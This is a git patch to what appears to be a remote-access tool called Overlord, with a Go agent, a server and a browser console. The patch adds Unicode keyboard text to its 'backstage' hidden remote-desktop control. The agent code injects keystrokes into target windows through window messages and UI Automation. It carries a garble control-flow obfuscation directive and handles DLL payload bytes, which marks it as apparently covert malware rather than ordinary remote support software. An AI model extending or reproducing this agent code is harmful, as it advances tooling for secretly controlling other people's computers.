From 7369aa701422072e2831aa66c12e9fd04104734e Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 30 Jul 2026 14:59:00 -0500 Subject: [PATCH] add all keyboard langs to backstage + fix test --- .gitattributes | 2 + .../backstage_keyboard_windows_test.go | 33 +++++++++++++++++ .../cmd/agent/capture/backstage_stub.go | 2 +- .../agent/capture/backstage_uia_windows.go | 22 +++++++---- .../cmd/agent/capture/backstage_windows.go | 37 +++++++++++++++---- Overlord-Client/cmd/agent/handlers/command.go | 9 ++++- Overlord-Server/public/assets/backstage.js | 11 +++++- .../server/ws-console-rd-backstage.test.ts | 28 ++++++++++++++ .../src/server/ws-console-rd-backstage.ts | 6 ++- scripts/generate-wire-protocol.ts | 3 +- 10 files changed, 132 insertions(+), 21 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/backstage_keyboard_windows_test.go diff --git a/.gitattributes b/.gitattributes index aa43e85..bf11a71 100644 --- a/.gitattributes +++ b/.gitattributes @@ -4,6 +4,8 @@ # Force LF line endings for Go source files *.go text eol=lf +Overlord-Server/src/generated/wire-contract.ts text eol=lf + # Force CRLF for Windows batch files *.bat text eol=crlf diff --git a/Overlord-Client/cmd/agent/capture/backstage_keyboard_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_keyboard_windows_test.go new file mode 100644 index 0000000..e158e02 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/backstage_keyboard_windows_test.go @@ -0,0 +1,33 @@ +//go:build windows + +package capture + +import "testing" + +func TestPrintableKeyText(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + in string + want string + }{ + {name: "latin", in: "é", want: "é"}, + {name: "cyrillic", in: "ж", want: "ж"}, + {name: "cjk", in: "你", want: "你"}, + {name: "supplementary plane", in: "😀", want: "😀"}, + {name: "named key", in: "Enter", want: ""}, + {name: "control", in: "\n", want: ""}, + {name: "empty", in: "", want: ""}, + } + + for _, tt := range tests { + tt := tt + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + if got := printableKeyText(tt.in); got != tt.want { + t.Fatalf("printableKeyText(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} diff --git a/Overlord-Client/cmd/agent/capture/backstage_stub.go b/Overlord-Client/cmd/agent/capture/backstage_stub.go index f913aed..3152772 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_stub.go +++ b/Overlord-Client/cmd/agent/capture/backstage_stub.go @@ -47,7 +47,7 @@ func BackstageInputMouseUp(button int) error { return errors.New("backstage not supported on this platform") } -func BackstageInputKeyDown(vk uint16) error { +func BackstageInputKeyDown(vk uint16, text string) error { return errors.New("backstage not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go index e1083a7..40fd7d3 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go @@ -1425,13 +1425,15 @@ func uiaHandleMouseWheel(hwnd uintptr, screenPt point, delta int32) error { return nil } -func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error { +func uiaHandleKey(hwnd uintptr, vk uint16, text string, down bool) error { uiaEnsureWorker() inputSite := findInputSiteChild(hwnd) if inputSite != 0 { if down { - if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { + if text != "" && !isNonPrintableVK(vk) { + postTextMessage(inputSite, text) + } else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { for _, r := range ch { procPostMessageW.Call(inputSite, WM_CHAR, uintptr(r), uintptr(1)) } @@ -1445,6 +1447,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error { if down { key := vk + keyText := text uiaRunAsync(func() { if uiaSingleton == nil { return @@ -1452,7 +1455,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error { if !isModifierVK(key) && !isNonPrintableVK(key) { elem := uiaSingleton.GetFocusedElement() if elem != nil { - uiaTypeChar(elem, key) + uiaTypeChar(elem, key, keyText) elem.Release() } } else if key == 0x08 || key == 0x2E { @@ -1543,7 +1546,7 @@ func uiaScrollElement(elem *iuiAutomationElement, delta int32) bool { return true } -func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool { +func uiaTypeChar(elem *iuiAutomationElement, vk uint16, text string) bool { pat := elem.GetCurrentPattern(uiaValuePatternID) if pat == nil { return false @@ -1551,13 +1554,16 @@ func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool { vp := (*iuiAutomationValuePattern)(unsafe.Pointer(pat)) defer vp.Release() - ch := virtualKeyToChars(vk) - if len(ch) == 0 { - return false + if text == "" { + ch := virtualKeyToChars(vk) + if len(ch) == 0 { + return false + } + text = string(ch) } current := vp.GetCurrentValue() - newVal := current + string(ch) + newVal := current + text vp.SetValue(newVal) return true } diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index abb312e..8f7aabe 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -13,6 +13,7 @@ import ( "sync/atomic" "syscall" "time" + "unicode/utf8" "unsafe" ) @@ -223,6 +224,7 @@ type backstageTask struct { y int32 button int vk uint16 + text string delta int32 dllBytes []byte captureDllBytes []byte @@ -510,9 +512,9 @@ func ensurebackstageThread() error { case backstageTaskMouseUp: result.err = backstageMouseButtonOnThread(task.button, false) case backstageTaskKeyDown: - result.err = backstageKeyOnThread(task.vk, true) + result.err = backstageKeyOnThread(task.vk, task.text, true) case backstageTaskKeyUp: - result.err = backstageKeyOnThread(task.vk, false) + result.err = backstageKeyOnThread(task.vk, "", false) case backstageTaskMouseWheel: result.err = backstageMouseWheelOnThread(task.delta) case backstageTaskAutoStartExplorer: @@ -650,8 +652,8 @@ func BackstageInputMouseUp(button int) error { return result.err } -func BackstageInputKeyDown(vk uint16) error { - result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk}, 3*time.Second) +func BackstageInputKeyDown(vk uint16, text string) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk, text: printableKeyText(text)}, 3*time.Second) if err != nil { return err } @@ -1229,7 +1231,7 @@ func backstageMouseButtonOnThread(button int, down bool) error { return nil } -func backstageKeyOnThread(vk uint16, down bool) error { +func backstageKeyOnThread(vk uint16, text string, down bool) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 pt := currentbackstageCursor() hwnd := windowFromPoint(pt) @@ -1260,7 +1262,7 @@ func backstageKeyOnThread(vk uint16, down bool) error { if isModifierVK(vk) { return nil } - return uiaHandleKey(hwnd, vk, down) + return uiaHandleKey(hwnd, vk, text, down) } if isModifierVK(vk) { @@ -1268,7 +1270,9 @@ func backstageKeyOnThread(vk uint16, down bool) error { } if down { - if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { + if text != "" && !isNonPrintableVK(vk) { + postTextMessage(hwnd, text) + } else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { for _, r := range ch { procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1)) } @@ -1281,6 +1285,25 @@ func backstageKeyOnThread(vk uint16, down bool) error { return nil } +func printableKeyText(text string) string { + if !utf8.ValidString(text) || utf8.RuneCountInString(text) != 1 { + return "" + } + r, _ := utf8.DecodeRuneInString(text) + if r < 0x20 || r == 0x7f { + return "" + } + return text +} + +func postTextMessage(hwnd uintptr, text string) { + for _, unit := range syscall.StringToUTF16(text) { + if unit != 0 { + procPostMessageW.Call(hwnd, WM_CHAR, uintptr(unit), uintptr(1)) + } + } +} + func foregroundWindow() uintptr { r, _, _ := procGetForegroundWindow.Call() return r diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 534d754..b26b4f4 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -80,6 +80,7 @@ type backstageInputEvent struct { button int delta int32 vk uint16 + text string } type voiceRuntime struct { @@ -233,7 +234,7 @@ func ensurebackstageInputWorker() { log.Printf("backstage input worker: mouse_wheel failed: %v", err) } case BackstageInputKeyDown: - if err := capture.BackstageInputKeyDown(ev.vk); err != nil { + if err := capture.BackstageInputKeyDown(ev.vk, ev.text); err != nil { log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err) } case BackstageInputKeyUp: @@ -1736,10 +1737,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } payload, _ := envelope["payload"].(map[string]interface{}) code := "" + text := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } + if v, ok := payload["text"].(string); ok { + text = v + } } if vk := keyCodeToVKbackstage(code); vk != 0 { if env.VirtualCancel != nil { @@ -1750,7 +1755,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.VirtualInputKeyDown(vk) return nil } - enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk}) + enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk, text: text}) } return nil case "backstage_key_up": diff --git a/Overlord-Server/public/assets/backstage.js b/Overlord-Server/public/assets/backstage.js index 9dc855f..b0e0050 100644 --- a/Overlord-Server/public/assets/backstage.js +++ b/Overlord-Server/public/assets/backstage.js @@ -1740,7 +1740,16 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const kbdCapture = createKeyboardCapture({ container: canvasContainer, sendKeyDown: (e) => { - if (desiredStreaming) sendCmd("backstage_key_down", { key: e.key, code: e.code }); + if (!desiredStreaming) return; + const altGraph = typeof e.getModifierState === "function" && e.getModifierState("AltGraph"); + const printable = typeof e.key === "string" + && Array.from(e.key).length === 1 + && (!e.ctrlKey && !e.metaKey && !e.altKey || altGraph); + sendCmd("backstage_key_down", { + key: e.key, + code: e.code, + text: printable ? e.key : "", + }); }, sendKeyUp: (e) => { if (desiredStreaming) sendCmd("backstage_key_up", { key: e.key, code: e.code }); diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.test.ts b/Overlord-Server/src/server/ws-console-rd-backstage.test.ts index e3b5de8..002a8ef 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.test.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.test.ts @@ -418,6 +418,34 @@ describe("remote desktop viewer control", () => { }); describe("backstage viewer control", () => { + test("forwards browser-resolved Unicode text with backstage key presses", () => { + const clientId = `backstage-unicode-${Date.now().toString(36)}`; + const { agentWs } = createClient(clientId); + const viewer = createMockWs({ role: "backstage_viewer", clientId }); + + handlebackstageViewerOpen(viewer as any); + backstageStreamingState.set(clientId, { + isStreaming: true, + virtualMode: false, + display: 0, + quality: 90, + codec: "", + maxFps: 120, + lastFps: 0, + }); + + handlebackstageViewerMessage(viewer as any, JSON.stringify({ + type: "backstage_key_down", + key: "ж", + code: "KeyS", + text: "ж", + })); + + const command = agentCommands(agentWs) + .find((msg) => msg.commandType === "backstage_key_down"); + expect(command?.payload).toEqual({ key: "ж", code: "KeyS", text: "ж" }); + }); + test("forwards backstage_stop even when server stream state is stale", () => { const clientId = `backstage-stale-stop-${Date.now().toString(36)}`; const { agentWs } = createClient(clientId); diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts index 273cb4a..402aa2d 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts @@ -1392,7 +1392,11 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); break; case "backstage_key_down": - if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" }); + if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { + key: String(payload.key || ""), + code: String(payload.code || ""), + text: String(payload.text || ""), + }); break; case "backstage_key_up": if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" }); diff --git a/scripts/generate-wire-protocol.ts b/scripts/generate-wire-protocol.ts index 6712255..fa97b96 100644 --- a/scripts/generate-wire-protocol.ts +++ b/scripts/generate-wire-protocol.ts @@ -274,7 +274,8 @@ func IsServerToAgentMessageType(value string) bool { async function emit(path: string, content: string): Promise { if (checkOnly) { const current = await Bun.file(path).text().catch(() => ""); - if (current !== content) { + const normalizeLineEndings = (value: string) => value.replace(/\r\n/g, "\n"); + if (normalizeLineEndings(current) !== normalizeLineEndings(content)) { console.error(`Generated artifact is stale: ${path}`); process.exitCode = 1; }